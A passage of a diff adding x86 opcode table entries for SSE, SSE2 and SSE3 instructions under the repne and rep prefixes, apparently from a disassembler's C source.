+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "psrad", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "pavgw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x3
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MUL, "pmulhuw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MUL, "pmulhw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "cvttpd2dq", { AMODE_V | OPTYPE_q | OP_DST, AMODE_W | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movntdq", { AMODE_M | OPTYPE_o | OP_DST, AMODE_V | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x7
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_SUB, "psubsb", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x8
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_SUB, "psubsw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x9
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "pminsw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xA
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_OR, "por", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xB
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_ADD, "paddsb", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_ADD, "paddsw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xD
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "pmaxuw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xE
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_XOR, "pxor", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xF
+
+ /* Fx */
+ { NOINSTR }, // x0
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "psllw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "pslld", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "psllq", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x3
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MUL, "pmuludq", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_ADD, "pmaddwd", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "psadbw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "maskmovdqu", { AMODE_V | OPTYPE_o | OP_DST, AMODE_VR| OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x7
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_SUB, "psubb", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x8
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_SUB, "psubw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x9
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_SUB, "psubd", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xA
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_SUB, "psubq", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xB
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_ADD, "paddb", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_ADD, "paddw", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xD
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_ADD, "paddd", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xE
+ { NOINSTR }, // xF
+
+ // prefix 0xf2 (repne)
+ /* 0x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* 1x */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movsd", { AMODE_V | OPTYPE_sdo | OP_DST, AMODE_W | OPTYPE_sd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movsd", { AMODE_W | OPTYPE_sd | OP_DST, AMODE_V | OPTYPE_sd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE3_MOV, "movddup", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* 2x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "cvtsi2sd", { AMODE_V | OPTYPE_sd | OP_DST, AMODE_E | OPTYPE_dq | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xA
+ { NOINSTR }, // xB
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "cvttsd2si", { AMODE_G | OPTYPE_dq | OP_DST, AMODE_W | OPTYPE_sd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "cvtsd2si", { AMODE_G | OPTYPE_dq | OP_DST, AMODE_W | OPTYPE_sd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* 3x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* 4x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* 5x */
+ { NOINSTR }, // x0
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "sqrtsd", { AMODE_V | OPTYPE_sd | OP_DST, AMODE_W | OPTYPE_sd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_ADD, "addsd", { AMODE_V | OPTYPE_sd | OP_DST, AMODE_W | OPTYPE_sd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x8
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MUL, "mulsd", { AMODE_V | OPTYPE_sd | OP_DST, AMODE_W | OPTYPE_sd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x9
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "cvtsd2ss", { AMODE_V | OPTYPE_ss | OP_DST, AMODE_W | OPTYPE_sd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xA
+ { NOINSTR }, // xB
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_SUB, "subsd", { AMODE_V | OPTYPE_sd | OP_DST, AMODE_W | OPTYPE_sd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "minsd", { AMODE_V | OPTYPE_sd | OP_DST, AMODE_W | OPTYPE_sd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xD
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_DIV, "divsd", { AMODE_V | OPTYPE_sd | OP_DST, AMODE_W | OPTYPE_sd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xE
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "maxsd", { AMODE_V | OPTYPE_sd | OP_DST, AMODE_W | OPTYPE_sd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xF
+
+ /* 6x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movdqa", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xF
+
+ /* 7x */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "pshuflw", { AMODE_V | OPTYPE_q | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE3_ADD, "haddps", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE3_SUB, "hsubps", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* 8x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* 9x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* Ax */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* Bx */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* Cx */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_CMP, "cmpsd", { AMODE_V | OPTYPE_sd | OP_DST, AMODE_W | OPTYPE_sd | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* Dx */
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE3, "addsubps", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movdq2q", { AMODE_P | OPTYPE_q | OP_DST, AMODE_VR | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* Ex */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "cvtpd2dq", { AMODE_V | OPTYPE_q | OP_DST, AMODE_W | OPTYPE_pd | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* Fx */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE3, "lddqu", { AMODE_V | OPTYPE_o | OP_DST, AMODE_M | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ // prefix 0xf3 (rep)
+ /* 0x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* 1x */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movss", { AMODE_V | OPTYPE_sso | OP_DST, AMODE_W | OPTYPE_ss | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movss", { AMODE_W | OPTYPE_ss | OP_DST, AMODE_V | OPTYPE_ss | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE3_MOV, "movsldup", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE3_MOV, "movshdup", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* 2x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "cvtsi2ss", { AMODE_V | OPTYPE_ss | OP_DST, AMODE_E | OPTYPE_dq | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xA
+ { NOINSTR }, // xB
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "cvttss2si", { AMODE_G | OPTYPE_dq | OP_DST, AMODE_W | OPTYPE_ss | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_PENTIUM3, ITYPE_SSE, "cvtss2si", { AMODE_G | OPTYPE_dq | OP_DST, AMODE_W | OPTYPE_ss | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* 3x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* 4x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* 5x */
+ { NOINSTR }, // x0
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "sqrtss", { AMODE_V | OPTYPE_ss | OP_DST, AMODE_W | OPTYPE_ss | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "rsqrtss", { AMODE_V | OPTYPE_ss | OP_DST, AMODE_W | OPTYPE_ss | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "rcpss", { AMODE_V | OPTYPE_ss | OP_DST, AMODE_W | OPTYPE_ss | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_ADD, "addss", { AMODE_V | OPTYPE_ss | OP_DST, AMODE_W | OPTYPE_ss | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x8
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MUL, "mulss", { AMODE_V | OPTYPE_ss | OP_DST, AMODE_W | OPTYPE_ss | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x9
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "cvtss2sd", { AMODE_V | OPTYPE_sd | OP_DST, AMODE_W | OPTYPE_ss | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xA
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "cvttps2dq", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_ps | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xB
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_SUB, "subss", { AMODE_V | OPTYPE_ss | OP_DST, AMODE_W | OPTYPE_ss | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xC
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "minss", { AMODE_V | OPTYPE_ss | OP_DST, AMODE_W | OPTYPE_ss | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xD
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_DIV, "divss", { AMODE_V | OPTYPE_ss | OP_DST, AMODE_W | OPTYPE_ss | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xE
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "maxss", { AMODE_V | OPTYPE_ss | OP_DST, AMODE_W | OPTYPE_ss | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xF
+
+ /* 6x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movdqu", { AMODE_V | OPTYPE_o | OP_DST, AMODE_W | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xF
+
+ /* 7x */
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2, "pshufhw", { AMODE_V | OPTYPE_q | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movq", { AMODE_V | OPTYPE_q | OP_DST, AMODE_W | OPTYPE_q | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xE
+ { NOGROUP, CPU_PENTIUM4, ITYPE_SSE2_MOV, "movdqu", { AMODE_W | OPTYPE_o | OP_DST, AMODE_V | OPTYPE_o | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // xF
+
+ /* 8x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+
+ /* 9x */
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
